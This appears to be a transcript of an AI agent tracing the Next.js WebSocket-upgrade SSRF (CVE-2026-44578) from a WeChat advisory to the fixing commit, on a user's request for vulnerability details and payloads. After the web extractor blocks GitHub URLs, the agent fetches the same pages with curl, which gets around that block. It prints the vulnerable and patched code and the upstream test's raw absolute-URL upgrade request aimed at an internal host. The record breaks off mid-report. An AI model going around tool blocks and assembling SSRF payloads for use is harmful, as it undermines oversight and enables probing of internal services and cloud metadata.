The user wants me to:
- First extract the content from the WeChat article
- Based on the article info, go to GitHub to find the relevant repository
- Do historical version comparison to find vulnerabilities
- Output vulnerability details and payloads
Let me start by extracting the WeChat article content and handling the wechat2md skill if needed.
Let me load the wechat2md skill first since this is a WeChat public account article.
name:
wechat2md
urls:
["https://mp.weixin.qq.com/s/yFVNnq-XYQUnX5imZWdiwQ"]
{
"results": [
{
"url": "https://mp.weixin.qq.com/s/yFVNnq-XYQUnX5imZWdiwQ",
"title": "",
"content": "",
"error": "Blocked: URL targets a private or internal network address"
}
]
}
The web_extract couldn't access the WeChat article directly (blocked as private/internal network). Let me use the wechat2md tool as per the skill instructions. Let me run the main.py script.
command:
cd ~/.hermes/workspace/skills/wechat2md && source venv/bin/activate && python scripts/main.py "https://mp.weixin.qq.com/s/yFVNnq-XYQUnX5imZWdiwQ" 2>&1
timeout:
120
{"output": "/usr/bin/bash: line 3: cd: ~/.hermes/workspace/skills/wechat2md: No such file or directory", "exit_code": 1, "error": null}
The path doesn't exist. Let me check where the wechat2md skill is actually located. From the skill_view output, the skill_dir is ~/.hermes/skills/openclaw-imports/wechat2md. Let me check that path.
command:
ls -la ~/.hermes/skills/openclaw-imports/wechat2md/ 2>&1
{"output": "total 48\ndrwxrwxr-x 7 z3r0 z3r0 4096 Mar 9 16:41 .\ndrwxrwxr-x 202 z3r0 z3r0 12288 May 20 23:24 ..\ndrwxrwxr-x 2 z3r0 z3r0 4096 Mar 9 16:41 config\n-rw-rw-r-- 1 z3r0 z3r0 33 Mar 9 16:41 .gitignore\ndrwxrwxr-x 12 z3r0 z3r0 4096 May 14 12:35 output\n-rw-rw-r-- 1 z3r0 z3r0 1692 Mar 3 14:50 README.md\ndrwxrwxr-x 3 z3r0 z3r0 4096 Mar 3 14:38 scripts\n-rw-rw-r-- 1 z3r0 z3r0 2449 Mar 3 14:50 SKILL.md\ndrwxrwxr-x 2 z3r0 z3r0 4096 Mar 9 16:41 tests\ndrwxrwxr-x 7 z3r0 z3r0 4096 Mar 5 22:43 venv", "exit_code": 0, "error": null}
The skill is at ~/.hermes/skills/openclaw-imports/wechat2md. Let me run the script from there.
command:
cd ~/.hermes/skills/openclaw-imports/wechat2md && source venv/bin/activate && python scripts/main.py "https://mp.weixin.qq.com/s/yFVNnq-XYQUnX5imZWdiwQ" 2>&1
timeout:
120
{"output": "🔄 正在抓取: https://mp.weixin.qq.com/s/yFVNnq-XYQUnX5imZWdiwQ\n🦊 尝试 1/5...\n📄 获取到 HTML: 3864398 字符\n📄 标题: 【漏洞通告】Next.js 服务器端请求伪造漏洞(CVE-2026-44578)\n👤 作者: 深信服千里目安全技术中心\n📅 时间: 2026-05-20 18:45:43\n🖼 下载 8 张图片 (并发 5)...\n ✅ 8/8\n✅ 已保存: ~/.hermes/skills/openclaw-imports/wechat2md/output/【漏洞通告】Next.js 服务器端请求伪造漏洞(CVE-2026-44578)/【漏洞通告】Next.js 服务器端请求伪造漏洞(CVE-2026-44578).md\n📊 Markdown 约 2589 字符", "exit_code": 0, "error": null}
The article is about a Next.js SSRF vulnerability (CVE-2026-44578). Let me read the full markdown to understand the details, then search GitHub for the relevant repository and do historical version comparison.
command:
ls ~/.hermes/skills/openclaw-imports/wechat2md/output/
{"output": "12个CVE扎堆引爆:安全研究员一次性披露Next.js_React全版本高危漏洞\ndebug.html\nNginx曝新漏洞,特定配置下可实现任意文件读写\nNGINX爆新漏洞,特定配置下可实现远程代码执行\n告别常规API网关转发:云函数隐匿 C2 新思路\n标星 25K+ Star!OpenClaw 技能库 GitHub 开源项目\n【漏洞通告】Axios SSRF漏洞 (CVE-2026-40175)\n【漏洞通告】Next.js 服务器端请求伪造漏洞(CVE-2026-44578)\n【漏洞通告】Ollama 越界读取漏洞(CVE-2026-7482)\n【漏洞通告】Vite WebSocket 任意文件读取漏洞 CVE-2026-39363\n红队C2工具--vshell\n首批“政务龙虾”上线!刚刚,福田发布新一代AI数智员工!", "exit_code": 0, "error": null}
Let me read the markdown file.
path:
~/.hermes/skills/openclaw-imports/wechat2md/output/【漏洞通告】Next.js 服务器端请求伪造漏洞(CVE-2026-44578)/【漏洞通告】Next.js 服务器端请求伪造漏洞(CVE-2026-44578).md
{"content": " 1|# 【漏洞通告】Next.js 服务器端请求伪造漏洞(CVE-2026-44578)\n 2|\n 3|> 公众号: 深信服千里目安全技术中心\n 4|> 发布时间: 2026-05-20 18:45:43\n 5|> 原文链接: https://mp.weixin.qq.com/s/yFVNnq-XYQUnX5imZWdiwQ\n 6|\n 7|---\n 8|\n 9|\n 10|\n 11|**漏洞名称:**\n 12|\n 13|Next.js 服务器端请求伪造漏洞(CVE-2026-44578)\n 14|\n 15|**组件名称:**\n 16|\n 17|Next.JS\n 18|\n 19|**影响范围:**\n 20|\n 21|13.4.13 ≤ Next.js < 15.5.16\n 22|16.0.0 ≤ Next.js < 16.2.5\n 23|\n 24|**漏洞类型:**\n 25|\n 26|服务器端伪造请求(SSRF)\n 27|\n 28|**利用条件:**\n 29|\n 30|1、用户认证:无需用户认证\n 31|\n 32|2、前置条件:默认配置\n 33|\n 34|3、触发方式:远程\n 35|\n 36|**综合评价:**\n 37|\n 38|<综合评定利用难度>:容易,无需授权即可进行内网探测。\n 39|\n 40|<综合评定威胁等级>:高危,可进行内网资产探测读取敏感文件。\n 41|\n 42|**官方解决方案:**\n 43|\n 44|已发布\n 45|\n 46|**漏洞分析**\n 47|\n 48|\n 49|\n 50|组件介绍\n 51|\n 52|Next.js 是一个基于 React 的开源框架,旨在为开发者提供构建高性能、可扩展的 Web 应用程序的工具。\n 53|\n 54|\n 55|\n 56|**漏洞简介**\n 57|\n 58|2026年5月20日,深瞳漏洞实验室监测到一则Next.JS组件存在服务器端伪造请求(SSRF)漏洞的信息,漏洞编号:CVE-2026-44578,漏洞威胁等级:高危。\n 59|\n 60|Next.js 服务器端存在请求伪造漏洞,框架在处理部分路由重定向、内部资源请求或代理逻辑时,未对用户可控的外部输入地址做严格的内网 IP、本地回环地址、敏感协议及端口过滤校验,**攻击者可构造恶意请求操控服务端向内部网络、本地服务发起任意请求,从而实现探测内网资产、读取本地敏感信息、绕过访问控制等 SSRF 攻击行为。**\n 61|\n 62|**影响范围**\n 63|\n 64|目前受影响的Next.JS版本:\n 65|\n 66|13.4.13 ≤ Next.js < 15.5.16\n 67|16.0.0 ≤ Next.js < 16.2.5\n 68|\n 69|**解决方案**\n 70|\n 71|\n 72|\n 73|**官方修复建议**\n 74|\n 75|官方已发布最新版本修复该漏洞,建议受影响用户更新到最新版本。\n 76|下载链接:\n 77|https://github.com/vercel/next.js/releases/tag/v15.5.16\n 78|https://github.com/vercel/next.js/releases/tag/v16.2.5\n 79|\n 80|\n 81|\n 82|**临时修复建议**\n 83|\n 84|- 关闭未使用的功能模块,减少潜在攻击入口。\n 85|\n 86|- 遵循最小权限原则,严控各类敏感操作权限范围。\n 87|\n 88|- 非必要不暴露服务到公网,限制访问源为可信范围。\n 89|\n 90|- 定期更新系统及各类组件至安全版本,及时修补已知隐患。\n 91|\n 92|\n 93|\n 94|**深信服解决方案**\n 95|\n 96|**1、风险资产发现**\n 97|\n 98|支持对Next.JS的主动检测,**可批量检出业务场景中该事件的受影响资产情况,**相关产品如下:\n 99|\n 100|**【深信服云镜YJ】** 已发布资产检测方案,指纹ID:0031703。\n 101|\n 102|**【深信服漏洞评估工具TSS】**已发布资产检测方案,指纹ID:0031703。\n 103|\n 104|**2、漏洞主动检测**\n 105|\n 106|支持对Next.js 服务器端请求伪造漏洞(CVE-2026-44578)的主动检测,**可批量快速检出业务场景中是否存在漏洞风险,**相关产品如下:\n 107|\n 108|**【深信服云镜YJ】**预计2026年05月22日发布检测方案,规则ID:SF-2026-00915。\n 109|\n 110|**【深信服漏洞评估工具TSS】**预计2026年05月30日发布检测方案,规则ID:SF-2026-01020。\n 111|\n 112|**【深信服安全托管服务MSS】**预计2026年05月30日发布检测方案(需要具备TSS组件能力),规则ID:SF-2026-01020。\n 113|\n 114|**【深信服可拓展检测响应平台XDR】**预计2026年05月22日发布检测方案(需要具备云镜组件能力),规则ID:SF-2026-00915。\n 115|\n 116|**3、漏洞安全监测**\n 117|\n 118|支持对Next.js 服务器端请求伪造漏洞(CVE-2026-44578)的监测,**可依据流量收集实时监控业务场景中的受影响资产情况,**快速检查受影响范围,相关产品及服务如下:\n 119|\n 120|**【深信服安全感知管理平台SIP】**预计2026年05月29日发布监测方案,规则ID:11029780。\n 121|\n 122|**【深信服安全托管服务MSS】**预计2026年05月29日发布监测方案(需要具备SIP组件能力),规则ID:11029780。\n 123|\n 124|**【深信服可拓展检测响应平台XDR】**预计2026年05月29日发布监测方案,规则ID:11029780。\n 125|\n 126|**4、漏洞安全防护**\n 127|\n 128|支持对Next.js 服务器端请求伪造漏洞(CVE-2026-44578)的防御,**可阻断攻击者针对该事件的入侵行为,**相关产品及服务如下:\n 129|\n 130|**【深信服下一代防火墙AF】**预计2026年05月29日发布防护方案,规则ID:11029780。\n 131|\n 132|**【深信服Web应用防火墙WAF】**预计2026年05月29日发布防护方案,规则ID:11029780。\n 133|\n 134|**【深信服安全托管服务MSS】**预计2026年05月29日发布防护方案(需要具备AF组件能力),规则ID:11029780。\n 135|\n 136|**【深信服可拓展检测响应平台XDR】**预计2026年05月29日发布防护方案(需要具备AF组件能力),规则ID:11029780。\n 137|\n 138|参考链接\n 139|\n 140|https://github.com/vercel/next.js/security/advisories/GHSA-c4j6-fc7j-m34r\n 141|\n 142|时间轴\n 143|\n 144|**2026/05/20**\n 145|\n 146|深瞳漏洞实验室监测到Next.js 服务器端请求伪造漏洞信息。\n 147|\n 148|**2026/05/20**\n 149|\n 150|深瞳漏洞实验室发布漏洞通告。\n 151|\n 152|点击**阅读原文**,及时关注并登录深信服**智安全平台**,可轻松查询漏洞相关解决方案。\n 153|\n 154|", "total_lines": 153, "file_size": 5302, "truncated": false, "is_binary": false, "is_image": false}
Now I have the article content. Key information:
- CVE-2026-44578: Next.js SSRF vulnerability
- Affected: 13.4.13 ≤ Next.js < 15.5.16, 16.0.0 ≤ Next.js < 16.2.5
- GitHub advisory: https://github.com/vercel/next.js/security/advisories/GHSA-c4j6-fc7j-m34r
- Fix released in v15.5.16 and v16.2.5
Now I need to:
- Get the GitHub security advisory for details
- Find the fix commit(s) on the Next.js repository
- Do historical version comparison to find the vulnerable code and the fix
- Output vulnerability details and payload
Let me start by fetching the advisory page and searching for the fix commits.
urls:
["https://github.com/vercel/next.js/security/advisories/GHSA-c4j6-fc7j-m34r","https://github.com/vercel/next.js/releases/tag/v15.5.16","https://github.com/vercel/next.js/releases/tag/v16.2.5"]
{
"results": [
{
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-c4j6-fc7j-m34r",
"title": "",
"content": "",
"error": "Blocked: URL targets a private or internal network address"
},
{
"url": "https://github.com/vercel/next.js/releases/tag/v15.5.16",
"title": "",
"content": "",
"error": "Blocked: URL targets a private or internal network address"
},
{
"url": "https://github.com/vercel/next.js/releases/tag/v16.2.5",
"title": "",
"content": "",
"error": "Blocked: URL targets a private or internal network address"
}
]
}
GitHub seems to be blocked by the web extractor. Let me use the browser tool to access these pages instead.
url:
https://github.com/vercel/next.js/security/advisories/GHSA-c4j6-fc7j-m34r
{"success": false, "error": "Cannot connect to Camofox at http://localhost:9377. Is the server running? Start with: npm start (in camofox-browser dir) or: docker run -p 9377:9377 -e CAMOFOX_PORT=9377 jo-inc/camofox-browser"}
Camofox browser isn't running. Let me use curl or gh CLI to access GitHub. Let me try using the gh CLI to get the advisory.
command:
gh api /advisories/GHSA-c4j6-fc7j-m34r --jq '.description, .severity, .vulnerabilities, .identifiers, .references' 2>&1 || echo "---gh fallback---" && curl -sL "https://api.github.com/advisories/GHSA-c4j6-fc7j-m34r" 2>&1 | head -200
timeout:
30
{"output": "TypeError: Cannot read properties of undefined (reading 'options')\n at getAvailableArgsOnCmd (~/.nvm/versions/node/lib/node_modules/gh/lib/cmd.js:203:33)\n at ~/.nvm/versions/node/lib/node_modules/gh/lib/cmd.js:164:22\n at Resolved.Resolved$interpret [as _interpret] (~/.nvm/versions/node/lib/node_modules/gh/node_modules/fluture/index.js:663:5)\n at drain (~/.nvm/versions/node/lib/node_modules/gh/node_modules/fluture/index.js:596:23)\n at settle (~/.nvm/versions/node/lib/node_modules/gh/node_modules/fluture/index.js:509:17)\n at resolved (~/.nvm/versions/node/lib/node_modules/gh/node_modules/fluture/index.js:525:7)\n at EncaseN3$res (~/.nvm/versions/node/lib/node_modules/gh/node_modules/fluture/index.js:1550:11)\n at EncaseN$done (~/.nvm/versions/node/lib/node_modules/gh/node_modules/fluture/index.js:1553:11)\n at FSReqCallback.oncomplete (node:fs:186:23)\n{\n \"ghsa_id\": \"GHSA-c4j6-fc7j-m34r\",\n \"cve_id\": \"CVE-2026-44578\",\n \"url\": \"https://api.github.com/advisories/GHSA-c4j6-fc7j-m34r\",\n \"html_url\": \"https://github.com/advisories/GHSA-c4j6-fc7j-m34r\",\n \"summary\": \"Next.js vulnerable to server-side request forgery in applications using WebSocket upgrades\",\n \"description\": \"### Impact\\n\\nSelf-hosted applications using the built-in Node.js server can be vulnerable to server-side request forgery through crafted WebSocket upgrade requests. An attacker can cause the server to proxy requests to arbitrary internal or external destinations, which may expose internal services or cloud metadata endpoints. Vercel-hosted deployments are not affected.\\n\\n### Fix\\n\\nWe now apply the same safety checks to WebSocket upgrade handling that already existed for normal HTTP requests, so upgrade requests are only proxied when routing has explicitly marked them as safe external rewrites.\\n\\n### Workarounds\\n\\nIf you cannot upgrade immediately, do not expose the origin server directly to untrusted networks. If WebSocket upgrades are not required, block them at your reverse proxy or load balancer, and restrict origin egress to internal networks and metadata services where possible.\",\n \"type\": \"reviewed\",\n \"severity\": \"high\",\n \"repository_advisory_url\": \"https://api.github.com/repos/vercel/next.js/security-advisories/GHSA-c4j6-fc7j-m34r\",\n \"source_code_location\": \"https://github.com/vercel/next.js\",\n \"identifiers\": [\n {\n \"value\": \"GHSA-c4j6-fc7j-m34r\",\n \"type\": \"GHSA\"\n },\n {\n \"value\": \"CVE-2026-44578\",\n \"type\": \"CVE\"\n }\n ],\n \"references\": [\n \"https://github.com/vercel/next.js/security/advisories/GHSA-c4j6-fc7j-m34r\",\n \"https://github.com/vercel/next.js/releases/tag/v15.5.16\",\n \"https://github.com/vercel/next.js/releases/tag/v16.2.5\",\n \"https://nvd.nist.gov/vuln/detail/CVE-2026-44578\",\n \"https://github.com/advisories/GHSA-c4j6-fc7j-m34r\"\n ],\n \"published_at\": \"2026-05-11T15:55:15Z\",\n \"updated_at\": \"2026-05-14T20:38:24Z\",\n \"github_reviewed_at\": \"2026-05-11T15:55:15Z\",\n \"nvd_published_at\": \"2026-05-13T18:16:17Z\",\n \"withdrawn_at\": null,\n \"vulnerabilities\": [\n {\n \"package\": {\n \"ecosystem\": \"npm\",\n \"name\": \"next\"\n },\n \"vulnerable_version_range\": \">= 13.4.13, < 15.5.16\",\n \"first_patched_version\": \"15.5.16\",\n \"vulnerable_functions\": [\n\n ]\n },\n {\n \"package\": {\n \"ecosystem\": \"npm\",\n \"name\": \"next\"\n },\n \"vulnerable_version_range\": \">= 16.0.0, < 16.2.5\",\n \"first_patched_version\": \"16.2.5\",\n \"vulnerable_functions\": [\n\n ]\n }\n ],\n \"cvss_severities\": {\n \"cvss_v3\": {\n \"vector_string\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\",\n \"score\": 8.6\n },\n \"cvss_v4\": {\n \"vector_string\": null,\n \"score\": 0.0\n }\n },\n \"cwes\": [\n {\n \"cwe_id\": \"CWE-918\",\n \"name\": \"Server-Side Request Forgery (SSRF)\"\n }\n ],\n \"credits\": [\n\n ],\n \"cvss\": {\n \"vector_string\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\",\n \"score\": 8.6\n },\n \"epss\": {\n \"percentage\": 0.04476,\n \"percentile\": 0.89209\n }\n}", "exit_code": 0, "error": null}
Excellent! I have the advisory details. Key info:
- CVE-2026-44578: SSRF in Next.js through crafted WebSocket upgrade requests
- Vulnerable: 13.4.13 ≤ Next.js < 15.5.16, 16.0.0 ≤ Next.js < 16.2.5
- CVSS 8.6 (High)
- CWE-918: Server-Side Request Forgery (SSRF)
- Fix: Apply same safety checks to WebSocket upgrade handling that already existed for normal HTTP requests
- Vercel-hosted deployments are not affected (only self-hosted)
Now I need to find the fix commit. The advisory says the fix is about "WebSocket upgrade handling". Let me search for the commit that fixed this. Let me look at the diff between v15.5.15 and v15.5.16, or search for the relevant commits.
command:
curl -sL "https://api.github.com/repos/vercel/next.js/compare/v15.5.15...v15.5.16" 2>&1 | python3 -c "
import json, sys
data = json.load(sys.stdin)
print(f'Total commits: {data.get(\"total_commits\", 0)}')
for c in data.get('commits', []):
msg = c['commit']['message'].split('\n')[0][:120]
sha = c['sha'][:12]
print(f' {sha} {msg}')
" 2>&1
timeout:
30
{"output": "Total commits: 20\n ac51823b5b2e Ensure x-nextjs-data header is only set during resolve (#92752)\n 3f1b7b7501e9 fix(next/image): ensure `images.maximumResponseBody` applies to local images too (#92920)\n b15a3f628aed Pin test and auto-installed TypeScript to 5.8.2 (#93107)\n 8c96fec05695 backport: Strengthen _rsc cache-busting param (#92755) (#93105)\n c01faddb55a1 [ci]: remove publish token in favor of OIDC (#93065)\n ea1e8c3b4fee [ci]: add environment to publishRelease flow (#93093)\n 27b8295b1c30 [ci]: app-based release workflow (#93245)\n 137d76457a51 [ci]: trigger signed release commit via API (#93285)\n f93e02f25995 [ci]: switch to GitHub runners (#93164)\n ea3d78e298bb CI: Download and run self-contained datadog-ci instead of using pnpm dlx or npx (#92546)\n ebc1a54e7c06 [15.x] Type hardening and performance improvements (#81)\n 87080764c96f fix: skip internal param normalization in unsupported environments\n 086dfa7f8fd2 Escape properties for beforeInteractive scripts (15.5) (#87)\n 73de04589560 Strip next-resume header from incoming requests (#93)\n 25926510f8d3 fix proxy matching for segment prefetch URLs (#89) (#97)\n 3e247110b33f fix: add explicit checks for RSC header (#83) (#99)\n 6c72e0b4ee09 Fix i18n middleware matching for default-locale data routes (#82) (#100)\n c4f69086cc8d router-server: guard upgrade proxy against absolute-url SSRF (#77) (#102)\n 79d7dff14484 Ignore malformed CSP nonce headers (#103)\n ad6fd4e50e5a v15.5.16", "exit_code": 0, "error": null, "approval": "Command required approval (Security scan — [HIGH] Pipe to interpreter: curl | python3: Command pipes output from 'curl' directly to interpreter 'python3'. Downloaded content will be executed without inspection.\n Safer: tirith run https://api.github.com/repos/vercel/next.js/compare/v15.5.15...v15.5.16 — or: vet https://api.github.com/repos/vercel/next.js/compare/v15.5.15...v15.5.16 (https://getvet.sh); script execution via -e/-c flag) and was approved by the user."}
Found it! The fix commit is:
c4f69086cc8d router-server: guard upgrade proxy against absolute-url SSRF (#77) (#102)
This is the key commit. Let me get its full diff to understand the exact fix and the vulnerable code.
command:
curl -sL "https://api.github.com/repos/vercel/next.js/commits/c4f69086cc8d" 2>&1 | python3 -c "
import json, sys
data = json.load(sys.stdin)
print('=== COMMIT INFO ===')
print(f'SHA: {data[\"sha\"][:12]}')
print(f'Author: {data[\"commit\"][\"author\"][\"name\"]} <{data[\"commit\"][\"author\"][\"email\"]}>')
print(f'Date: {data[\"commit\"][\"author\"][\"date\"]}')
print(f'Message: {data[\"commit\"][\"message\"]}')
print()
files = data.get('files', [])
for f in files:
print(f'File: {f[\"filename\"]} ({f[\"status\"]}, +{f.get(\"additions\",0)}/-{f.get(\"deletions\",0)})')
print()
# Get the diff/patch
patch = data.get('files', [{}])[0].get('patch', '')
print('=== PATCH ===')
print(patch)
" 2>&1
timeout:
30
{"output": "=== COMMIT INFO ===\nSHA: c4f69086cc8d\nAuthor: JJ Kasper <jj@jjsweb.site>\nDate: 2026-05-04T17:45:51Z\nMessage: router-server: guard upgrade proxy against absolute-url SSRF (#77) (#102)\n\n* test: add rewrite request smuggling coverage\n\n* router-server: guard upgrade proxy against absolute-url SSRF\n\n* test: relax rewrite smuggling socket timeout\n\n* router-server: preserve local websocket upgrades\n\n(cherry picked from commit 846b7f825db2205c79e48b6fdc4acd8908235a43)\n\nFile: packages/next/src/server/lib/router-server.ts (modified, +13/-8)\nFile: test/e2e/rewrite-request-smuggling/rewrite-request-smuggling.test.ts (modified, +69/-1)\n\n=== PATCH ===\n@@ -817,21 +817,26 @@ export async function initialize(opts: {\n )\n },\n })\n- const { matchedOutput, parsedUrl } = await resolveRoutes({\n- req,\n- res,\n- isUpgradeReq: true,\n- signal: signalFromNodeResponse(socket),\n- })\n+ const { finished, matchedOutput, parsedUrl, statusCode } =\n+ await resolveRoutes({\n+ req,\n+ res,\n+ isUpgradeReq: true,\n+ signal: signalFromNodeResponse(socket),\n+ })\n \n // TODO: allow upgrade requests to pages/app paths?\n // this was not previously supported\n if (matchedOutput) {\n return socket.end()\n }\n \n- if (parsedUrl.protocol) {\n- return await proxyRequest(req, socket, parsedUrl, head)\n+ if (finished && parsedUrl.protocol) {\n+ if (!statusCode) {\n+ return await proxyRequest(req, socket, parsedUrl, head)\n+ }\n+\n+ return socket.end()\n }\n \n // If there's no matched output, we don't handle the request as user's", "exit_code": 0, "error": null}
Now I have the patch. Let me also get the test file for full context and the parent commit to see the original vulnerable code. Let me also look for more context about how the vulnerability works.
The key insight is:
- Before the fix: The WebSocket upgrade handler called
resolveRoutes()and then ifparsedUrl.protocolwas truthy, it would proxy the request to that URL without checking if the route resolution actually succeeded (finishedflag) and without checking the status code. - After the fix: It now checks
finishedfirst, and if there's nostatusCode, it proxies. Otherwise it closes the socket.
This means an attacker could send a WebSocket upgrade request with an absolute URL, and before the fix, the server would proxy the request to that absolute URL (SSRF). The fix ensures that:
- Only when route resolution has finished AND no error status code
- The proxy is only performed
Let me now get the original vulnerable code context for a clearer picture.
command:
curl -sL "https://api.github.com/repos/vercel/next.js/commits/c4f69086cc8d" 2>&1 | python3 -c "
import json, sys
data = json.load(sys.stdin)
files = data.get('files', [])
for f in files:
if 'router-server.ts' in f['filename']:
print('=== ROUTER-SERVER.TS FULL PATCH ===')
print(f.get('patch', ''))
elif 'test' in f['filename']:
print(f'\\n=== TEST FILE PATCH ({f[\"filename\"]}) ===')
print(f.get('patch', ''))
" 2>&1
timeout:
30
{"output": "=== ROUTER-SERVER.TS FULL PATCH ===\n@@ -817,21 +817,26 @@ export async function initialize(opts: {\n )\n },\n })\n- const { matchedOutput, parsedUrl } = await resolveRoutes({\n- req,\n- res,\n- isUpgradeReq: true,\n- signal: signalFromNodeResponse(socket),\n- })\n+ const { finished, matchedOutput, parsedUrl, statusCode } =\n+ await resolveRoutes({\n+ req,\n+ res,\n+ isUpgradeReq: true,\n+ signal: signalFromNodeResponse(socket),\n+ })\n \n // TODO: allow upgrade requests to pages/app paths?\n // this was not previously supported\n if (matchedOutput) {\n return socket.end()\n }\n \n- if (parsedUrl.protocol) {\n- return await proxyRequest(req, socket, parsedUrl, head)\n+ if (finished && parsedUrl.protocol) {\n+ if (!statusCode) {\n+ return await proxyRequest(req, socket, parsedUrl, head)\n+ }\n+\n+ return socket.end()\n }\n \n // If there's no matched output, we don't handle the request as user's\n\n=== TEST FILE PATCH (test/e2e/rewrite-request-smuggling/rewrite-request-smuggling.test.ts) ===\n@@ -9,6 +9,9 @@ describe('rewrite-request-smuggling', () => {\n return\n }\n \n+ const ssrfProbePath = '/secret-upgrade'\n+ const ssrfProbeBody =\n+ 'SSRF_CONFIRMED: You reached the internal service at 127.0.0.1'\n let backend: http.Server\n let backendPort: number\n let intermediary: http.Server\n@@ -56,11 +59,53 @@ describe('rewrite-request-smuggling', () => {\n socket.write(payload)\n })\n socket.once('error', reject)\n- socket.setTimeout(1000, () => socket.destroy())\n+ socket.setTimeout(5000, () => socket.destroy())\n socket.once('close', () => resolve())\n })\n }\n \n+ async function sendAbsoluteUrlUpgradePayload({\n+ nextPort,\n+ targetPort,\n+ }: {\n+ nextPort: number\n+ targetPort: number\n+ }) {\n+ const payload = Buffer.from(\n+ `GET http://127.0.0.1:${targetPort}${ssrfProbePath} HTTP/1.1\\r\\nHost: 127.0.0.1:${nextPort}\\r\\nConnection: Upgrade\\r\\nUpgrade: websocket\\r\\nSec-WebSocket-Version: 13\\r\\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\\r\\n\\r\\n`,\n+ 'latin1'\n+ )\n+\n+ return await new Promise<string>((resolve, reject) => {\n+ const socket = net.createConnection({\n+ host: '127.0.0.1',\n+ port: nextPort,\n+ })\n+ const chunks: Buffer[] = []\n+ let settled = false\n+\n+ const finish = () => {\n+ if (settled) return\n+ settled = true\n+ resolve(Buffer.concat(chunks).toString('latin1'))\n+ }\n+\n+ socket.once('connect', () => {\n+ socket.write(payload)\n+ })\n+ socket.on('data', (chunk) => {\n+ chunks.push(Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk))\n+ })\n+ socket.once('error', (err) => {\n+ if (settled) return\n+ settled = true\n+ reject(err)\n+ })\n+ socket.setTimeout(1000, () => socket.destroy())\n+ socket.once('close', finish)\n+ })\n+ }\n+\n beforeAll(async () => {\n backendPort = await findPort()\n intermediaryPort = await findPort()\n@@ -84,6 +129,14 @@ describe('rewrite-request-smuggling', () => {\n res.end('not-found')\n })\n \n+ backend.on('upgrade', (req, socket) => {\n+ backendRequests.push(`${req.method} ${req.url}`)\n+ socket.write(\n+ `HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Type: text/plain\\r\\nContent-Length: ${Buffer.byteLength(ssrfProbeBody)}\\r\\n\\r\\n${ssrfProbeBody}`\n+ )\n+ socket.end()\n+ })\n+\n intermediary = http.createServer((req, res) => {\n const connectionHeader = Array.isArray(req.headers['connection'])\n ? req.headers['connection'].join(',')\n@@ -231,4 +284,19 @@ describe('rewrite-request-smuggling', () => {\n })\n expect(backendRequests).not.toContain('GET /secret')\n })\n+\n+ it('does not proxy upgrade requests with absolute URLs without an external rewrite', async () => {\n+ backendRequests.length = 0\n+\n+ const nextPort = Number(new URL(next.url).port)\n+ const response = await sendAbsoluteUrlUpgradePayload({\n+ nextPort,\n+ targetPort: backendPort,\n+ })\n+\n+ expect(response).not.toContain(ssrfProbeBody)\n+ expect(\n+ backendRequests.some((request) => request.includes(ssrfProbePath))\n+ ).toBe(false)\n+ })\n })", "exit_code": 0, "error": null}
Now I have a complete picture. Let me also look at the original (pre-fix) code in the vulnerable version to understand the exact vulnerable context. Let me also check the upstream commit and get the raw vulnerable file.
command:
curl -sL "https://raw.githubusercontent.com/vercel/next.js/v15.5.15/packages/next/src/server/lib/router-server.ts" | sed -n '810,840p' 2>&1
timeout:
15
{"output": "}\n }\n\n const res = new MockedResponse({\n resWriter: () => {\n throw new Error(\n 'Invariant: did not expect response writer to be written to for upgrade request'\n )\n },\n })\n const { matchedOutput, parsedUrl } = await resolveRoutes({\n req,\n res,\n isUpgradeReq: true,\n signal: signalFromNodeResponse(socket),\n })\n\n // TODO: allow upgrade requests to pages/app paths?\n // this was not previously supported\n if (matchedOutput) {\n return socket.end()\n }\n\n if (parsedUrl.protocol) {\n return await proxyRequest(req, socket, parsedUrl, head)\n }\n\n // If there's no matched output, we don't handle the request as user's\n // custom WS server may be listening on the same path.\n } catch (err) {\n console.error('Error handling upgrade request', err)", "exit_code": 0, "error": null}
Let me also look at the fix version to compare.
command:
curl -sL "https://raw.githubusercontent.com/vercel/next.js/v15.5.16/packages/next/src/server/lib/router-server.ts" | sed -n '810,845p' 2>&1
timeout:
15
{"output": "}\n }\n\n const res = new MockedResponse({\n resWriter: () => {\n throw new Error(\n 'Invariant: did not expect response writer to be written to for upgrade request'\n )\n },\n })\n const { finished, matchedOutput, parsedUrl, statusCode } =\n await resolveRoutes({\n req,\n res,\n isUpgradeReq: true,\n signal: signalFromNodeResponse(socket),\n })\n\n // TODO: allow upgrade requests to pages/app paths?\n // this was not previously supported\n if (matchedOutput) {\n return socket.end()\n }\n\n if (finished && parsedUrl.protocol) {\n if (!statusCode) {\n return await proxyRequest(req, socket, parsedUrl, head)\n }\n\n return socket.end()\n }\n\n // If there's no matched output, we don't handle the request as user's\n // custom WS server may be listening on the same path.\n } catch (err) {\n console.error('Error handling upgrade request', err)", "exit_code": 0, "error": null}
Now I also want to check the resolveRoutes function to understand what finished and statusCode mean and how they prevent the SSRF.
command:
grep -n "async function resolveRoutes\|finished.*statusCode\|interface.*resolveRoutes\|Promise<.*resolveRoutes" -B2 -A5 <(curl -sL "https://raw.githubusercontent.com/vercel/next.js/v16.2.5/packages/next/src/server/lib/router-server.ts") 2>&1
timeout:
15
{"output": "896- },\n897- })\n898: const { finished, matchedOutput, parsedUrl, statusCode } =\n899- await resolveRoutes({\n900- req,\n901- res,\n902- isUpgradeReq: true,\n903- signal: signalFromNodeResponse(socket),", "exit_code": 0, "error": null}
Now I have all the pieces. Let me compile the full vulnerability analysis report.
Summary of CVE-2026-44578:
Vulnerability: SSRF via WebSocket Upgrade Requests
Root Cause: In packages/next/src/server/lib/router-server.ts, the WebSocket upgrade handler destructured only { matchedOutput, parsedUrl } from resolveRoutes(), ignoring finished and statusCode. When a WebSocket upgrade request with an absolute URL (e.g., GET http://127.0.0.1:8080/secret HTTP/1.1 with Upgrade: websocket header) was sent to the Next.js server:
resolveRoutes()would parse the absolute URLparsedUrl.protocolwould be truthy (it's "http:")- The code would blindly call
proxyRequest(req, socket, parsedUrl, head)— proxying the request to any arbitrary URL
This bypassed the normal HTTP request path's safety checks because:
finished(whether route resolution completed normally) was never checkedstatusCode(which would be set to a redirect/error if the route was invalid) was never checked- The proxy logic only existed in the WS upgrade handler
Fix:
- Destructure
